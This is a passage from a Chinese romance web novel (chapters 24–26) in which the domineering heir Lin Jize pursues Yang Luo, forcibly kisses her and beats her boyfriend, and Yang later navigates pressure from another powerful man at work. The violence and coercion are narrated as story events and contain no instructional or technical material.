林纪泽扯了扯嘴角:“你怎么好这口了?”
“不是随便玩玩啦,我是说当正经女朋友,她很合适诶。”
林纪泽的目光重新落到杨珞身上。
合适?的确。
美丽,大方,阳光,优秀。
她身上有如此多的闪光之处,可为什么他记住的只有那双波澜不惊的眼睛,和对他不屑一顾的轻蔑
林纪泽并没有回答他的问题,因为他发现自己有些不爽,但转念又发现自己没有不爽的理由。
他带着奇怪的想法离开了,这个想法一直萦绕在脑海里,久久没有散去,仿佛又把他拉回几个月前,在那个了无生气的卧室里,只有他们。
可似乎是上天的安排,几天之后,林纪泽在家门口见到了杨珞的男朋友,陈桥。
陈桥之所以会到这里来,是因为募款的事情。每年学校的庆典活动都需要去拉赞助商,陈桥是学生会主席自然要负责这个事儿。林纪泽自入学以来,每年都会代表林家给学校不菲的赞助,今年自然也要来商谈这件事。
学生会在开会的时候正商量如何对接,谁知有人提出让杨珞和林纪泽对接。
“你不是当过他的法语老师嘛,正好你去,还好说话呀。”
杨珞如坐针毡,没人知道她这法语老师当的多憋屈,也根本不想再见到林纪泽。但若要拒绝就需要解释很多事情,她正犹豫之际,陈桥替她解围了。
“算了,我去吧,林纪泽这个人不好接触。”
众人笑了起来,起哄道:“诶呦呦,陈桥是吃醋啦,害怕你们家小杨被高富帅拐走吧。”
陈桥也笑了笑:“对啊,所以更得我亲自去嘛。”
林纪泽的车从门口驶入,他一眼就认出了陈桥。
陈桥穿着一身正装,站在门口的梧桐树下,阳光透过叶子斑斑点点的落在他身上。
林纪泽无视了他,驱车进了大门。管家上前说明陈桥的来意,林纪泽冷冷道:“让他等着。”
林纪泽并没有什么事要做,他像往日回到屋里,坐在床边的椅子上,百无聊赖。
他看着陈桥等的渐渐焦急起来,在树下左右踱步,却在管家再次来问时依旧叫他等着。
终于,天色要黑了,林纪泽叫来管家,说:“让他回去吧,我今天累了。”
隔着窗户,他看到陈桥失望的表情还有离去时落寞的身影,他心里竟有些痛快。
陈桥连林纪泽的面都没有见到,说出那天的经历后大家都傻眼了。林纪泽是学校的风云人物,但的确是出了名的嚣张怪异。大家面面相觑,不知如何是好。
陈桥只好决定把这件事先放放,谁知周泓却主动找到他要去试一试。
陈桥有些犹豫
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:“他这人奇怪的很,你确定要去吗?”
周泓:“试试嘛。不成功的话反正也没有损失,况且庆典就要筹备了,拖着也不是事儿。”
陈桥:“那好吧,你小心。”
林纪泽一连几天没有再见到陈桥,他知道陈桥的来意,往年这种事林家总要占个名头,他签张支票的事儿。可今年他一直拖着,他隐约觉得自己想等一个人。
可他一直没等到。
那晚他有些烦躁,约了一帮人在九天会所的包房里喝酒,气氛热闹的时候大家都出去蹦迪了,但林纪泽没这个心思,独自留了下来。
他自己喝了几杯闷酒,居然稀里糊涂的睡着了。
睡梦中他见到了杨珞,像那时一样坐在桌子前,沉静,冷淡。
他隐约觉得有人在触摸自己,可明明她坐的很远。
林纪泽忽然睁开眼睛,从梦里醒来,一把抓住摸上自己胸口的手。
力气之大让女人痛叫出来。
林纪泽定睛一看,认出了周泓。
他记得这个女人,他曾让杨珞看过一场好戏。
林纪泽加大了手里的力度,几乎要把周泓的手腕捏碎,狭长的眸子冷若冰霜。
“你好大的胆子。”
“啊——”
周泓尖叫起来,痛感直冲头皮。
林纪泽终于松手,弃之敝履般将她甩出去。
周泓抱着手腕蜷缩在地上。她本想赌一把,若是能入林纪泽的眼,也算在那群人面前打了一场翻身仗。可这人简直就是个活阎罗,送上门的美女不要也就罢了,下手居然这样狠。
周泓半跪在地上求饶:“我鬼迷心窍,没有别的意思,我就是想……想找你聊一下赞助的事儿,上次陈桥来你没见他,所以我才……”
周泓的声音断断续续,但掩盖不住她那点花花肠子。林纪泽一言不发的盯着她,看到她哭的梨花带雨,心里突然想道,如果换成杨珞,才不会这么卑躬屈膝的求他。
“你饶了我吧,你饶了我吧。”
周泓就差跪在地下给他磕头了。
林纪泽拿起桌上的半杯酒,突然笑道:“可以,你让杨珞来换你。”
周泓怔住。
“不行吗?你又不是第一次做这种事。”
周泓脑子乱哄哄的,可此下由不得她多想,立马给杨珞打了电话。
“喂?”
“杨珞,你救救我,我求你救救我!”
杨珞被刺耳的声音震的皱眉,大晚上的,莫名其妙。
“我在九天会所,我惹到林纪泽了,他说让你来救我,只有你能救我,求求你,求你来求求你。”
林纪泽的名字让杨珞打了个冷颤。
可她很快冷静下来了。
她知道林纪泽不会刻意去为难周泓,陈桥也告诉她周泓主动要求去和林纪泽谈赞助。她更知道周泓如何在那群公子哥面前谄媚。
“周泓,从上次那件事之后我们之间就不算朋友了。你去找谁,惹到谁,跟我都没有关系。出于人道主义,如果你需要的话,我可以帮你报个警。”
周泓绝望的看着林纪泽,那头杨珞没听到周泓再说什么,就把电话挂了。
林纪泽把杨珞的话听的清清楚楚,然后他笑了。
她还是那么绝情。
周泓诚惶诚恐的看着他变幻莫测的心情,终于犹豫着往前爬了一步。
林纪泽冷冷的看她一眼:“滚。”
29. 第24章
杨珞是在盯会场布置的时候看到林纪泽的,他从礼堂大门进来,在后排坐了下来,一言不发,看着前面忙活的学生。
很快就有人发现了林纪泽,几个女生窃窃私语,杨珞问:“说什么呢?”
一个丸子头女孩儿过来,悄悄道:“学姐,林纪泽来了。”
林纪泽平日很少干正事儿,所到之处说不上腥风血雨,但总得闹出点动静。杨珞转身,看到后排悠哉坐着的林纪泽,椅子有些小,他的身型坐的些许憋屈。
看到杨珞转头,林纪泽平静的将目光移向她,没什么表情,但让杨珞觉得极为不舒服。
许是想到了昨晚的事。
自那次结课之后,她和林纪泽再无交集,周泓惹上他是他们的私事儿,可林纪泽为什么要让自己去换周泓。
杨珞不敢细想,只当什么都没发生。
“该干什么干什么吧,不用管他。”
女孩儿嗯了一声,继续去量尺寸了。
大约半小时后,其他人都走完了。杨珞留下来善后,她把会场的初步设计拍了照片,又草草收拾了留下来的垃圾,正蹲在地上时,身后突然想起了幽灵般的声音。
“好久不见,杨珞。”
杨珞后背一僵,她听出了林纪泽的声音,意外他居然还没走,但强装镇定,直起身来。摆上一个标准的微笑后转身。
“你好,有什么事吗?”
刻意、礼貌、疏离。
林纪泽被她的样子气笑了
“好久不见,你还是这么假惺惺。”
杨珞把垃圾装进袋子里,道:“没事的话我就先走了,还挺忙的。”
“昨天晚上你为什么不来?”
杨珞看他,目光有些讥讽:“你跟她的事,和我有什么关系?”
林纪泽往前走了两步,逼到她面前:“你还是一如既往的无情啊。”
“要难为周泓的人是你,怎么成我无情了?”
林纪泽突然发现,眼前的人不仅无情,还很善辩。像是发现了什么有趣的事情,他无声的笑了。
杨珞觉得他的笑容有些瘆人,一刻也不想多待,转身要离开,林纪泽突然说:“你们的募捐够数了吗?”
杨珞站立。
募捐不够,缺了他的这笔,今年确实很难凑够。
杨珞不能拿活动的募捐赌气。
她深吸一口气,又恢复刚才那副假惺惺的表情。
“还不够,您要捐吗?如果要的话我会找专人联系您的。”
“专人?谁?陈桥吗?”
他戏虐的提出陈桥的名字,杨珞的脸色终于变了。
想起那日林纪泽对陈桥的羞辱,她的目光变得阴冷起来。
林纪泽似乎很享受杨珞的生气,他慢条斯理的从口袋里拿出一张支票,当着杨珞的面写下一个可观的数字,然后夹在指间。
“我要捐,但我不想给别人,我只想给你。”
杨珞一言不发,林纪泽踱步上前,将那张支票塞到她大衣的口袋里。他的指尖触碰到杨珞的手,一个粗粝冰冷,一个温暖滑腻。
杨珞听到林纪泽在她耳边轻笑了一声,而后同自己擦肩而过。许久之后杨珞才松了一口气,她从口袋里拿出那张支票,却有些不知所措。
她并不想让别人知道这张支票是林纪泽给自己的,凭什么别人都要不来,偏偏他给了自己?流言蜚语下的唾沫能把人淹死,但杨珞更不想让陈桥多想。
思虑再三,杨珞找到了周泓。
“我知道你缺实习分数,这是林纪泽的募集款,你可以告诉别人是你拿到的,按规定可以加分。”
还有更深层次的原因,杨珞知道周泓虚荣,要面子,她一定会拿着林纪泽的支票去找回她自认为的荣耀。可杨珞并没有点破。
如杨珞所料,周泓起先有些为难,但很快接了过来。可接过来后,她什么都没说,只是冷冷的看着杨珞。
杨珞以为她只是为了昨晚自己没有去救她而生气。可随着周泓的凝视,她隐约看出了另一番意思。
似乎是嫉妒,又似乎是无奈。
林纪泽的募集款到位,周泓如愿以偿的风光了几天。
有钱能使鬼推磨,后续的庆典进行的很顺利。
陈桥一连忙了许多天,早把几天前的不痛快抛之脑后了,那日的插曲也渐渐在杨珞心里淡忘。
庆典结束,学生会成员聚餐庆功,地点选在了学校旁边的一家烧烤店。
酒过半晌,陈桥被灌的晕头转向。可他开心,杨珞在他身边坐着,跟着他开心。
杨珞酒量并不好,但今天也喝了许多,恍惚抬头间,她好像看到了一个身影,竟有点像林纪泽。
但追随着看过去,又不见了踪影。
他那样的人,怎么会来这种小地方。杨珞觉得自己喝多了,摇了摇头。
她带着醉意依偎到陈桥怀里。
嘈杂的烧烤店,烟火气十足,他们是这烟火人间中不起眼的一对爱人。
几个男生轮番跟陈桥喝酒,杨珞和旁边的女孩子聊着学校的八卦,似乎是烟气太浓,酒又上头,杨珞觉得有些头晕。
她跟陈桥说了声,便出去透气。
烧烤店在二楼,玻璃门之外更安静些,楼下是拥挤的车道,各色霓虹灯争相闪烁。
她趴在二楼的栏杆上吹着凉风,方才为了吃饭把头发绑了起来,这会儿头皮扯的痛,杨珞解了头发,把带着银色小猪的头绳拿在手里。
那是和陈桥逛街的时候买的,小猪做的很精致,杨珞记得不只有这个图案,还有小兔子、小猫。
杨珞本是看中了那个小猫,谁知陈桥拿起小猪的放在她脸前,说:“你不觉得这个更像你吗?”
杨珞皱眉:“你才像猪呢。”
陈桥笑道:“我像猪,那你就是猪老婆,老板,我要这个。”
杨珞摸着蠢蠢的猪鼻子,咯咯笑了起来。
谁料手里一滑,头绳掉了下去。
下面的小路人来人往,差点有人踩到。
杨珞急忙飞奔下楼,明明眼看着掉在砖块上,这会儿却不见了。
她绕着原地转了好几圈,却怎么也找不到。
“在找这个?”
混杂的街道里传出熟悉的声音,杨珞甚至觉得自己喝多了,可她朦朦胧胧的寻着声音看过去,真的看到了藏在过道里的林纪泽。
他穿着一身黑色,若不是皮肤白皙,就彻底隐藏在黑夜之中了。
杨珞的目光定他手中,一个银色的小猪头轻微晃动着。
许是醉意壮了胆,她并没有以往看到林纪泽时的害怕,她从路灯处走到巷子里,伸手去夺那个头绳,却被林纪泽闪了过去。
林纪泽高高举着手,略带玩味的看着杨珞。
她细眉微蹙,脸颊透着微红,酒醉后的模样带了几分憨态。
“林纪泽,你真的很无聊。”
这是杨珞对他最恳切的评价,她搞不懂眼前的人到底在想什么。
林纪泽却不理她,拿着头绳在眼前仔细打量一番,道:“这不是你的风格。”
林纪泽眼里,杨珞是清冷的,真实的,却是有距离的。毫不掩饰她的厌恶,和那些曲意逢迎的人都不同。
这么生活化的物件,不应该是她的。他不愿承认眼前的人有自己看不到的一面。
杨珞觉得他莫名其妙。
“还给我。”
林纪泽不答她的话,却伸手一扔把头绳扔到了旁边的垃圾桶里。
林纪泽高高在上的态度彻底激怒了她。
“你有病啊!”
杨珞转身就要去垃圾桶里找,却被林纪泽拉着胳膊扯了回来。
“还记得那天我跟你说的话吗?”
杨珞摔到他怀里,林纪泽顺势环抱着她,杨珞怔怔的看着他。
“什么话?”
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林纪泽将她抱的更紧,低下头来,一点点逼近,温热的气息洒在她的脸上。
“离开陈桥。”
这句话像是唤醒了杨珞刻意忘掉的记忆,那个逼仄,压抑又让人惶恐的房间。她打了个冷颤,疯狂的推开林纪泽。
可林纪泽没给她机会,他抱的更紧,杨珞的挣扎激怒了他,他强迫她抬头看着自己。
“回答我。”
杨珞:“你这个疯子!”
下巴被他死死捏住,林纪泽看到她痛苦挣扎的样子,心底突然被触动了一瞬。
林纪泽从自己狂热的占有欲中发现了一丝丝心疼,这个发现让他自己都有些震惊
可就在林纪泽要放手的前一秒,他听到了陈桥的声音。
“杨珞——”
陈桥在找她。
她不属于自己。
本要松开的手收的更紧,林纪泽嘲讽的扯了下嘴角,低头吻住杨珞。
她的呼喊被尽数吞下,只剩痛苦的唔咽。车水马龙都渐渐安静,林纪泽听到她的喘息,听到自己的心跳,感受到与她如此近的距离。
如果在上一秒他都不甚清楚自己对杨珞的感觉,此刻清晰渐渐拉开帷幕。
他分不清到底是不甘,还是喜欢。
他只知道自己想要她。
要她只属于自己一个人。
一记拳头砸在林纪泽脸上,他踉跄了几步摔在墙上。不用想也知道出手的人是谁,他闭上眼睛缓了缓,再睁眼时陈桥已经追到眼前,怒目而视。
眼看他的拳头再次挥过来,回过神的杨珞从背后死死抱住陈桥。
“陈桥,别动手!”
陈桥的身型顿了一下,一股火气最后化为怒骂。
“林纪泽,你个混蛋!”
林纪泽懒散的靠在墙上,舔了舔嘴角的血丝,不怀好意的笑道:“你们这些品学兼优的花架子,骂人比做事还没种。”
陈桥的理智被彻底压垮,他甩开杨珞猛冲上去,朝着林纪泽的脸就是一拳,可这次被他轻松躲过了,拳头狠狠砸在墙壁上,疼的他弯下了腰。林纪泽抬腿一脚便把陈桥踹在地上。
杨珞害怕的事还是发生了,林纪泽是什么人?他是黑/道起家的二公子,陈桥和他真的动起手来没有一点胜算。
杨珞刚要冲过去,陈桥像猜透她的心思一样,忍痛大喊:“你别过来!”
林纪泽并不着急,他悠哉的站着,居高临下的看着陈桥,如同在看脚下的蝼蚁,等陈桥颤颤巍巍爬起来,再一拳将他打趴下。
杨珞急哭了。
她拼命抓住林纪泽的胳膊,哀求道:“你会把他打死的,停下来。”
林纪泽:“这么容易就死的男人,你跟着他做什么?”
杨珞险些忘了,眼前的人根本没有良心可言。
“你这样是犯法的你知道吗?!”
林纪泽笑了,同样的蠢话,杨珞说出来他竟觉得有些可爱。
“是吗?那法律自会审判我,你又何必求我?”
陈桥扑过来,又被他一脚踢飞到远处,杨珞被林纪泽死死攥住了胳膊。
他就这样一手拉着杨珞,一手将无数次扑上来的陈桥打得毫无还手之力。
她嘶哑的痛哭着,可这次林纪泽像是铁了心一样。巷口渐渐围满了人,一开始众人嚷嚷着拉架,可当有人认出打架的是林纪泽后,大家都心照不宣的做了旁观者。
杨珞绝望的看着周围的人,哪怕有一个人愿意站住来帮帮她都好,可是一个都没有。
过了许久,陈桥再没站起来。
林纪泽长长的出一口气,将杨珞的脸从陈桥的方向扳过来,挑衅般的的吻了上去。
嘈杂的巷子里响着陈桥无助的嘶吼,杨珞屈辱的承受着,最后狠狠的咬在了林纪泽的嘴唇上。
血腥味浸透在唇齿之间。
可他毫不在乎。
“杨珞,我给过你机会的。”
30. 第25章
病房里,林纪泽听到了杨珞翻身的声音,他缓缓睁开眼睛,仿佛从一场梦中醒来。
梦里杨珞??痛哭的面容变成了眼前的苍白虚弱。
杨珞迷迷糊糊看到坐在床边的林纪泽,瞬间惊醒。
“醒了?”
她防备的看着他:“你怎么在这儿?”
林纪泽若有所思的看着她,道:“我给你打了电话,陆砚堂告诉我的。”
杨珞心里咯噔一声,而后急忙解释:“哦,我下山的时候遇见他了,他顺便捎了我一程。”
林纪泽不作声片刻,而后一笑:“我知道。他说了。”
杨珞被他看的有些不自在,别过目光坐了起来。她下意识的想解释自己和陆砚堂的关系,可又怕此地无银三百两。她越是想脱身就牵扯进去的越多,到底什么时候是个头。
陆砚堂说的没错,她谁都惹不起。陆砚堂的情意真假难辨,她只知道林纪泽踏足西京,陆家和林家必有争端,自己只怕成了他们博弈的工具。
门突然被打开,护士走了进来:“输完水就可以离开了,家属多照顾点……”
护士的话在看到林纪泽时打住了。
护士懵懵的问:“你是家属吗?”
林纪泽起身,高大的身躯立马把护士盖在影子里:“我是,有什么事儿吗?”
护士自上而下仰望着林纪泽,月光雕刻下,他的面容显得愈发精致逼人,护士微微红了脸,轻声道:“哦,没事儿,就是照顾好她。风寒感冒发烧,注意保暖,药里有头孢,不要饮酒。”
林纪泽点了点,杨珞对护士道了谢。
小护士出了门匆匆跑到护士站,对着两个值夜班的同事开始八卦:“8床那个病人,她身边怎么换了一个人?”
“不知道啊,一开始那个帅哥呢?”
“走了吧,又来了另外一个。”
“玩的花啊,这个帅吗?”
交头接耳间,忽然其中一个猛的咳嗽两下,护士们顿时没了声音,转头朝走廊看过去,就见到林纪泽和杨珞一前一后走了出来。
小护士拿胳膊轻轻戳了戳旁边的人,那人佯装看电脑,时不时朝林纪泽瞄过去几眼。护士站静的出奇。直到杨珞和林纪泽进了电梯,又忽然恢复了叽叽喳喳。
与之相反,鸦雀无声的电梯里,杨珞和林纪泽相顾无言。半晌,林纪泽终于说话:“江山明的案子谈好了?”
杨珞点头:“嗯。”
林纪泽似是发牢骚:“陆砚堂那样的人,怎么肯和江山明继续合作呢?”
杨珞瞥他一眼。
“你不这么认为吗?”
杨珞目视前方:“我怎么知道这些大人物想干什么,我就是个打工的。”
又恢复了安静,电梯打开,冲进一股热浪,林纪泽大步在前走着,把她的东西放进后座,然后替她打开副驾驶的门。
杨珞此刻像个行尸走肉,乖乖坐进去,系好安全带。林纪泽坐在车里许久,却没有发动。直到杨珞发呆回了神,问:“不走吗?”
“杨珞,你会爱上我吗?”
杨珞怔住,不知他怎么了。看到她一秒的惊愕,林纪泽笑了,发动了车子,再没说话。
杨珞庆幸他没有追问下去,她不想违心谈爱,却也不想再次激怒林纪泽。
林纪泽将杨珞送回家,看到她上楼后疲惫的靠在驾驶座上,心里空落落的难受。
好累
可是他就是不愿意放手,哪怕两人筋疲力尽,哪怕最后同归于尽,他都不愿意放手。
杨珞回到家没有立刻开灯,夜已经过了一半,她也睡不着了,只想一个人安静的等天亮。
深夜寂静里,她才开始重新复盘晚上发生的事。
她想起了林纪泽在电梯里说的话。
陆砚堂从一开始气势汹汹的要和江山明用硬刚到底,往前进一步江山明就会举旗投降,可这时候陆砚堂突然慈悲心肠,愿意和他合作,不免蹊跷。
杨珞虽对生意上的事情不甚了解,但毕竟跟了全程,多多少少还是有些猜测。
可今晚林纪泽竟一语点破了自己的猜测。
陆砚堂那样的人,怎么会和江山明合作?
她不禁开始重塑林纪泽的样子。
他残暴、叛逆,在港城也只是林家的附庸,人人都只知道他是林家二公子,但却无人谈论他的能力与功绩。
她只知道林纪泽是个不学无术的二代,可今晚这番话不是白丁之人能说出来的。
陆砚堂对他的顾忌难不成是真的?
杨珞没有开灯,躺在沙发上望着窗外的月牙。
陆砚堂怎么会告诉林纪泽自己在医院?他到底想干什么?
她不禁想起林纪泽的反应,对此事居然一点追问都没有。
自己也是怕极了,想着赶紧绕过去,正常情况下多少应该解释两句才对。
杨珞顿时慌了,她猜不透林纪泽的想法,回过头来才发现满是疑点。
杨珞的思绪正飘得远,突然一个酒瓶子咣当当从楼上滚了下来,一连串的声响把她吓的不轻。
她急忙打开灯,就看到唐亭站在楼梯口,一脸呆滞。
这样子又是喝多了。唐亭好一会儿才反应过来,问:“你回来啦?没人欺负你吧?”
杨珞再没心思想别的,三两步跨上去扶起她往房间走:“你喝多了不在床上躺着下来干嘛?”
“我想找点水。”
“你躺着,我给你倒。”
杨珞踢开地上的酒瓶子,端了杯水上去。问:“怎么喝这么多?”
唐亭:“周诠说没用。”
杨珞:“什么?”
唐亭的酒还是没醒,断断续续道:“周诠他找不到唐言声的东西……”
杨珞想起来了,周诠,就是上次她帮忙递优盘的那个人。
唐亭的计划开展的并不顺利。
想起在温泉的时候,她从陆砚堂的嘴里听到了点消息。
可现在也不是说的时候。
她真怕有一天唐亭会把自己活活喝死。
关于唐家发生的事,唐亭很少和她说,杨珞也很有默契的不过多问。但这么多年,杨珞仍是能知道唐亭在唐家到底过着什么生活的。
对于唐家而言,唐亭只不过是个上不了台面的私生女,就算被认回了唐家,也只是一个为家族牺牲的工具罢了。
她知道唐亭一直在计划着从唐家脱身,有时只恨自己帮不到她。
私生子。
杨珞突然想到雷厉风行,大名鼎鼎的陆砚堂也是个私生子,不由得冷笑一声。
他们这些豪门恩怨,真是又臭又狗血。
杨珞喂唐亭喝了水,又给她换了衣服,忙活完的时候天都快亮了。
床上唐亭已经沉沉的睡去了,杨珞站在落地窗前,看着西京绚烂的日出,觉得有些恍惚。
杨珞刚放松下来,楼下的电话就响了。她急忙跑出去,发现母亲打来的视频电话。杨珞把自己的头发弄乱后接通,挂上一副刚睡醒的样子。
“妈妈,你起的真早啊。”
王慧坐在家里的小客厅里,她作息规律,这个点早就起了。
“是啊,我可不像你们年轻人,又熬夜又睡懒觉的,你今天起的倒是早,以前我这个点给你打电话你都不接
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的。”
杨珞:“我这不是要上早班嘛,不然怎么赚钱养你。”
王慧听了这话笑的合不拢嘴,却又说:“我有退休金,哪需要你养,你把自己照顾好就行了。”
杨珞起身找了点吃的,又随便跟妈妈聊了几句,而后王慧话锋一转:“今天你周姨来家里了,说他单位有个新来的男孩子,合适的很,让我问问你要不要认识一下。”
许是妈妈也觉得唐突,顿了一下又问:“你最近身边有没有合适的男孩子呀?”
杨珞愣了一瞬,想到什么,脸色沉了沉。杨妈妈立马看出了她的忧郁,急忙安慰:“我也没有要催你的意思,不过你和小陈分手也有一段时间了,你也工作了,你一个人妈妈终究是不放心,要是有人照顾你就好了。不着急,咱们慢慢来,好好挑。我们珞珞这么漂亮,怎么会没有人喜欢嘛。”
杨珞不想让妈妈看出自己的难过,立马笑道:“我现在还不想谈恋爱呢,我一个人挺自在的。”
王慧也笑了:“好,你不想谈那就缓一缓,等妈妈手头的工作交接完了,妈妈去照顾你啊。”
杨珞听着这些,鼻头忍不住一酸,她心里有种极致的痛苦和幸福在交织碰撞着,最后红着眼眶去别过头去,咬了一大口面包在嘴里,呜咽着说:“好啊,我和唐亭正愁房子太大呢。”
王慧笑了笑:“你们是要我去打扫卫生吧。亭亭最近怎样啊,跟爸爸和哥哥相处的好吧?”
杨珞:“好着呢,你不用担心啊。”
挂了电话,杨珞低着头默默把早餐全部吃完,一口都没剩。她像个泄了气的皮球,许久没有直起身子的力气。
片刻后,微信工作群里响起了一连串的提示音,像是在提醒她要回到现实世界了。
杨珞深吸一口气,把这泄气的皮球重新吹满,装上自己的工作资料准备出门。
临走前她又上去看了唐亭一眼,在楼下给她留了一份吃的就走了。
到了办公室,杨珞把陵川和江月集团的案子整理了一遍做了收尾。这案子庞大,后续还有一些仲裁和赔偿明细需要进一步确认。
昨晚一夜没睡,今天还吃着药,迷迷糊糊的就趴在桌子上睡着了。
这一觉睡的并不踏实。
她梦到了陆砚堂。
可怕的是不仅仅是陆砚堂,还有林纪泽。
杨珞猛的惊醒,她记不清梦里发生了什么,混沌不堪。可这两个人的同时出现让她惊出一身冷汗。
不能这样下去。
杨珞起身急匆匆地往外走,迎面撞上进来的周淼。
“急匆匆的,有事儿啊?”
杨珞:“哦,没事儿,你这是要去干嘛呀。”
周淼甩了甩手里的文件:“我这边有新的资料要给陵川法务那边签字,正要去送呢。真是的,大领导把调性一定,我们小虾米跑断腿。”
杨珞:“我替你去送吧,刚好我这儿也有。”
周淼眼睛一亮:“那太好了,我早点下班,回头请你吃饭哈。”
杨珞接过文件,已经离开的周淼突然转身:“对了,刚好你跟陆总关系也好,你去了他们肯定不会为难。”
杨珞皱眉:“什么?”
周淼笑的意味深长:“大家都知道啊,我等着你飞上枝头,抱你大腿哦。”
杨珞站在原地,律所人多眼杂,已经有几个实习生偷偷瞄了过来。
这个案子除了张凌睿对接的最多,紧接着就是自己。
这种八卦满天飞的地方,没什么都能传出点什么,更何况当下真的有点什么。
她真怕传到林纪泽耳朵里,不知道又会发什么疯。
31. 第26章
杨珞到了陵川大楼后把材料送到了法务,等她来到陆砚堂办公室的时候已经接近下班时间了。
这个点突然有人到访,门口的助理有些意外。
“请问女士你有预约吗?现在马上要下班了,陆先生的会见应该是都结束了。”
杨珞找他是私事,自然没有预约。
“陆先生还在公司吗?”
助理十分谨慎,并没有正面回答:“您如果有事要找他,我可以帮您预约。陆先生有空的话我就及时联系您。”
杨珞没有为难助理,冲她礼貌一笑,打算到一边给陆砚堂打个电话。
她刚转身,突然听到身后一声“杨小姐。”
是程进的声音。一旁的助理恭敬叫了声程总,而后退到一边。
程进仍是一副温文尔雅的样子:“你找陆先生吗?”
杨珞点了点头:“对,不知道他在不在。”
程进:“他在的,跟我来吧。”
程进转身引路,对一旁的助理道:“你先去忙吧。”
助理冲杨珞点头微笑,恭恭敬敬。可目光却没有多留一秒。
每天来登门的人不计其数,形形色色,她早已司空见惯。
程进:“杨小姐,今天身体还好吗?”
杨珞:“好多了,就是感冒发烧。麻烦您昨晚特意跑来一趟给我送吃的。”
程进:“不麻烦,都是陆先生交代的。”
杨珞微微颔首,这事儿她的确是要承陆砚堂的情。
两人停在陆砚堂办公室的门口,程进示意她稍等片刻。
杨珞自觉气势汹汹的过来,可到了门口心底却开始发虚。
她讨厌他的居高临上,以玩弄的姿态将她本就不安宁的生活扰的更乱。
但昨晚的一幕幕如影像般掠过,她又有些不敢面对他。
程进推门出来。
“陆先生说他手头还有些事情没处理完,让您进去等。”
程进说完就离开了,杨珞在门口站了片刻才抬手敲门。
“进。”
杨珞推门进去,陆砚堂放下手里的文件,调侃道:“来都来了,还想着临阵脱逃吗?”
定是察觉到了自己在门口的犹豫,杨珞撑起一口气:“哪里的话,我有什么好逃的。”
陆砚堂微微勾唇,看她一眼,眼里笑意浓厚。
“坐。”
杨珞直直朝他走过去:“不坐了,我问几句话就走。”
陆砚堂直起身子来。
“急什么。”
“陆先生看来知道我要来问什么。”
“你不是来感谢我的救命之恩的吗?”
这话把杨珞给噎着了,她索性不再兜圈子。
“你为什么要接林纪泽的电话?”
陆砚堂对她的问题早有预料:“你这么聪明,我们圆场的理由应该差不多吧。”
杨珞:“你以为林纪泽是傻子吗?”
陆砚堂:“所以呢?他戳穿你了,还是为难你了?”
杨珞哑口无言,起码现在她还不知道林纪泽是否识破。可自从她睁眼看到林纪泽开始,她悬着的心就没落下来过。
杨珞突然嗤笑一声。
“陆砚堂,你很喜欢偷/情吗?”
杨珞毫不留情的扯开两人之间的遮羞布。
陆砚堂一怔,而后忍不住笑了。
“以前没偷过,现在觉得还不错。”
杨珞无言的看着陆砚堂,眼前这样一个让人敬而远之的人,耍起流氓来竟如此坦然自若。
陆砚堂缓缓起身。
“你以为你拖上两年就能平安无事从林纪泽手里逃出来?你以为他愿意好吃好喝供着你真的是怜惜你?你以为你做过的事情真的能毫无踪迹?”
他步步逼近,将杨珞笼罩在阴影之下,一连串的问题让她脑子一片混乱。
“杨珞,你太不了解男人了。”
杨珞仰起头与他直视:“了解了又能怎样,我还不是要以身入局?况且我本不需要了解那么多,陆先生,你昨晚说的没错,你和林纪泽我都惹不起,但好歹您是有分寸的人,不至于因为男女私情去树敌吧。”
陆砚堂:“你这是在求我?”他轻笑:“求人要有求人的样子。”
杨珞想让他知难而退的心思终也落空。
该说的都说了,杨珞心灰意冷。她苦笑一声转身离开,刚握上把手,身后传来陆砚堂的声音。
“我可以帮你,但也得你愿意让我帮。我有我想要的东西,我自然愿意为其付出代价。但是总得讲个你情我愿,对吗?”
杨珞微怔,而后淡漠的看着他:“你想要什么?鱼水之欢?风花雪月?还是只想得到林纪泽得不到的东西,满足你的好胜之心?陆先生,你自己想要什么,你真的清楚吗?”
——
杨珞心不在焉的回到家,唐亭已经拿着锅铲在厨房了。杨珞有些饿,去厨房捻了两口吃的,唐亭转过身来,问她:“昨晚怎么回来这么晚?”
杨珞不想让唐亭担心,抱着胳膊站在一旁:“哦,没事,那边有事耽搁了。周诠那边不顺利吗?”
唐亭往锅里打了个鸡蛋,没有说话,脸色凝重。
杨珞安慰道:“别急,这种事急不得。”
锅里滋滋响着油煎声,唐亭从兜里摸出一支烟来,借着天然气点燃。
“是我太急了,我想快一点的。”
杨珞看着她的侧脸,柔声道:“唐家已经在落败了,但还没有到穷途末路的时候,你还有时间,别把自己搭进去了。”
唐亭忽然转头,窗外的夕阳将她的脸映出金灿灿的光圈,看不清她的面容,可声音却无比清亮。
“如果我成功了,我就带你和妈妈走。去一个没人认识我们的地方。”
杨珞笑了:“好啊,祝我们成功。”
唐亭也笑了,她端出煎好的鸡蛋,两人坐回了餐桌。
“前几天我听到了一点港城的风声,林家怕是要出事儿了。”
杨珞惊讶的看着唐亭,转而又欣喜道:“那我该放个鞭炮庆祝庆祝。”
唐亭摇了摇头:“没说林家要完蛋,瘦死的骆驼比马大。林家的掌门人要换了,你也知道,林纪泽从来不管事儿,接手的八成是他大哥,林尊儒。”
杨珞对林尊儒并无太多了解,与他也只是打过照面。但她知道,林尊儒是林纪泽的大忌,旁人几乎不敢在林纪泽面前提到他这位大哥。
林尊儒和林纪泽不合,如果之后是林尊儒接手林家,或许会让林纪泽元气气大伤,她到时说不定就没心思也没能力困住自己了。
唐亭一眼看出了杨珞的心思,说:“你现在周旋着,拖着,也未必是件坏事。”
杨珞低头思量了一会儿,又拿起一张煎饼。
“那你呢?你接下来要做什么?”
唐亭沉默了半晌:“唐言声让我和他一起做个生意。”
杨珞:“他愿意让你和他一起?”
唐亭:“我自然有我的用处。”
杨珞不再追问,她多
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问一句,就多戳一下唐亭的痛处。
倒是唐亭又说:“这生意挺大的,到时候陆砚堂也会参与吧。”
杨珞:“什么生意,这么大?”
唐亭看了眼杨珞,笑道:“你猜啊。”
唐亭话里有话,杨珞立刻想到了些上不了台面的东西。她知道,唐家虽然这几年洗白了些,但以前决算不上干净的生意人。如今西京不好混,重操旧业也是不可避免的。
要说生意人眼里的暴利,都是那些写在刑法上的东西。
可陵川。
她没想到陵川的产业也会涉及这些。
杨珞:“你觉得陆砚堂是个什么样的人?”
唐亭:“于我而言,他是个深不可测,不择手段的生意人。于你而言,我就不知道了。”
杨珞没有说话。
